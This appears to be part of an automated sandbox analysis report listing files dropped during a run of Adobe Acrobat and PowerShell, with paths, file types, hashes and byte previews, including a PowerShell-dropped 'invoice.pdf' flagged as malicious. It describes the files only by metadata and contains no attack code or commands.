SHA-512:	C6968084BD642D8C7E4C38CA1544707D50FE74120052D6E4CF7FC264876727C9DAD51AAF522F645E4919057FE5DABF4F5294992D0799E82BF72BB908FFD4153B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1c776870738a9e3042957452314c274e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564402000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"17a71c9bc9130b9c0cb6a48c8384cdd1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564401000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2fe40e7f3b85f1e709228ddd0cabac3d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564401000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ae90b926d633e2141981fbb09427f8e1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564401000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"418ee404187ffa9d70aedc7005fa4237","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564401000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"11a9d5f73cb8103e66b7e4e0a442204d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3665515327086075
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuSXKdqEKfS8EKfM1ba6F:Tll2GL7msMcKTlS8fcsuJfIK
MD5:	75303A2AB5AF447F237B6F65C095DB28
SHA1:	6FB9A1EC692D694B2936379E943E32E6EE3735F8
SHA-256:	6C3643A3483400B0EA557F631AF76157A3C7946AB586B9AA05DDC2637B47E908
SHA-512:	D4FEC64CDD454E760C242C4473A68D66FB86168E2E1A1B8E04F05C51A46DA4D4C97DB40B84D1B1A15A93236D0AD0921C83E78C58F6B609AB12DC0319BF59AB8E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8434076859224848
Encrypted:	false
SSDEEP:	24:7+tgZ6bqyKn6ylSTofcNqDuS+KdqEKfS8EKfM1banbqqqLKufx/XYKQvGJF7urs0:7MOcKTlS8fcsuIfIDqGufl2GL7ms0
MD5:	D3257933005580D7977E19C163F4964B
SHA1:	DF83E941149F914DF2FFE7FDB820C262C8968E59
SHA-256:	F898EEE77BBDE48B8328FB947C1CF9DF52573A201EBFB58C390B7E070703A579
SHA-512:	E3400D84C8CF91D85AEC083EE8C62B630A72BA8321483643497AB54BDAB956670D49BE391437E643DD2D7F070DB562D9CAADAAE7361C7BFF8B18ECAFEED55FDA
Malicious:	false
Preview:	.... .c.....[J............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgP7l57RMAx1chQRdWKSjxc6LR1CBYyu:6a6TZ44ADEPxIE1chVKSKIDGK
MD5:	D0963D139DC8BC2327E9509284B704ED
SHA1:	616F0205FDB1377E80598630A42DB889B9E74E4C
SHA-256:	9F7A26B49A7F7BA8A9168AD3D554AF59863B339873A2CF2DD189932F97B4E70F
SHA-512:	72C1152B0E6B1DFCDAE9AEF5A823BFC4F5A61E2FEC301852C4F367EEF6B694CF4477F2CE230CD3E083FD613AAD404B4E18C30E6954F1A51FA8F375B772EBA77E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI7f8df.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4741361862431503
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClclNH:Qw946cPbiOxDlbYnuRK+bb
MD5:	9DBA7A5742D9CE76ADD37E1978572F9B
SHA1:	77B106CA29D5D5BAC80CB521AF4025BAE18B0F5D
SHA-256:	17B1E7011DEEA55F3AB02051AD6BD1D4DC4C04578E1C6E74E468637A5CF69B0D
SHA-512:	E5A5F530C33EB18F294CB2AB2934F99A93037C98FAB2522F751479A0FF2D467BABE61CFAD996779606753FA908CA30136890232553B6E5C22CF0599831DC62F2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.0.0.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40zid3un.z3e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t4sqvfa3.fhn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91rto40j_ym7wnr_2sw.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9dpc3yp_ym7wno_2sw.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-59-55-248.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.376832483876381
Encrypted:	false
SSDEEP:	384:xzXWvTKuHn0E1/Pg0gbNizTs/GLEiv2xVhVIkbnNjLtmPhGR7Jx3Fki9tgtwFpDw:mEbDw
MD5:	9F383153BA8E8B7CCEB8A67108F631F0
SHA1:	43E8E992B74C06AB663F97B524FDFD8220383D59
SHA-256:	55EDE26454D9D009000AFB2F0579B6934CA427218EC89D1AF5F8E4C5C051F4D0
SHA-512:	B8A46FC44DD51EF5A5BF252BCD247380D937DBCC8845956DB80C798E3976B884A9463276C2F3B4F7137309FF18EE13BE0D26B502C2402A1E70C9867BF1A4E20D
Malicious:	false
Preview:	SessionID=416cbd0c-f729-4319-8453-6b96c654b23d.1736564395324 Timestamp=2025-01-10T21:59:55:324-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=416cbd0c-f729-4319-8453-6b96c654b23d.1736564395324 Timestamp=2025-01-10T21:59:55:326-0500 ThreadID=7268 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=416cbd0c-f729-4319-8453-6b96c654b23d.1736564395324 Timestamp=2025-01-10T21:59:55:326-0500 ThreadID=7268 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=416cbd0c-f729-4319-8453-6b96c654b23d.1736564395324 Timestamp=2025-01-10T21:59:55:326-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=416cbd0c-f729-4319-8453-6b96c654b23d.1736564395324 Timestamp=2025-01-10T21:59:55:326-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390228026906384
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmfocbmI64cbJ:8qnXopZ50rDl6n
MD5:	83A536584AB030F90FDAF8E0AC131294
SHA1:	E12EA84599A580606349FE07FFE26DE07493A0BC
SHA-256:	D7B37A5848F96CAAFC0DAD84D3CA2CEBEBBDD7C00C6EFE109C907A9C229F651E
SHA-512:	9CDFECB8E0C2ED29ACF69085219E59DC0FAE5A4D80BE28BD761C70BC15CFC6410F0E811B742806FCDC065AD13AA2138D626CA30B04A591B25E2BE40F57D744FC
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4f77105e-4854-4545-9478-a3c3b56632f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9a8a032f-6e76-4135-aa36-fe20960ba953.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b3aba999-aebc-4c92-8f5d-e21b9181d607.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ba3de858-5c50-4f81-a826-4901c2791a20.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
